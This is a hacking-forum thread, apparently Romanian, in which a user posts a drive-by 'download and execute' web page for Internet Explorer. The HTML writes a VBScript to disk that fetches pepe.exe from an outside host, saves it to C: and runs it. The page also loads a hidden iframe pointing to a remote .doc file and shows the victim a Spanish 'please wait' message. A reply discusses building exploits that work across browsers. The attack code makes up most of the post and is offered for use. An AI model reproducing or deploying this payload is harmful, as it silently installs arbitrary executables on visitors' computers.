Jump to content
Sub_Zero

javascript downloader/MS Explorer dl and execute

Recommended Posts

<html>
<head>
function Salir()
{
if(window.opener!=window.self)
{
window.opener=window.self
window.opener=window.close()
}
else {window.close()}
}
function Posiciona()
{
window.resizeTo(400,285)
window.moveTo(190,145)
}
Posiciona()
</script>
</head>

<body bgcolor="#FFFFFF" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" onmove="Posiciona()" onresize="Posiciona()" onload="Salir()">

<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tr>
<td height="24" bgcolor="#DBEAF5" style="border-bottom:solid 1px #4791C5;"></td>
</tr>
<tr>
<td style="padding: 20 20 0 20">Espera mientras descargamos el archivo.
</td>
</tr>
<tr>
<td align="center">[img=http://64.4.55.109/i.p.attprgrs.gif]
</td>
</tr>
</table>

codigo = "on error resume next:set o = CreateObject(""msxml2.XMLHTTP"")Surprised.open ""GET"",""http://usuarios.lycos.es/n00b/pepe.exe"",False:o.send:set s = createobject(""adodb.stream""):s.type=1:s.open:s.write o.responseBody:s.savetofile ""C:pepe.exe"",2:set ws = CreateObject(""WScript.Shell""):ws.Run ""C:pepe.exe"", 3, FALSE"

Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.CreateTextFile("c:fuego.vbs", True)
MyFile.WriteLine(codigo)
MyFile.Close

set ws = CreateObject("WScript.Shell")
ws.Run "C:fuego.vbs", 3, FALSE
</script>

<iframe src="http://cyruxnet.org/download/UNICODE_DECODE.doc" height="0" width="0">
</body>
</html>

Downloadeaza un fisier in C: si il executa.Functioneaza doar cu Internet explorer.

Link to comment
Share on other sites

Sub_zero un exploit de browser se face pe browesr in parte ar fi tare bine sa poti face un exploit pt toate browsele(poate vro vuln in coru din java ) si ce intreba kwerlin e data asta mere si pe windows xp cu service pack 2

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...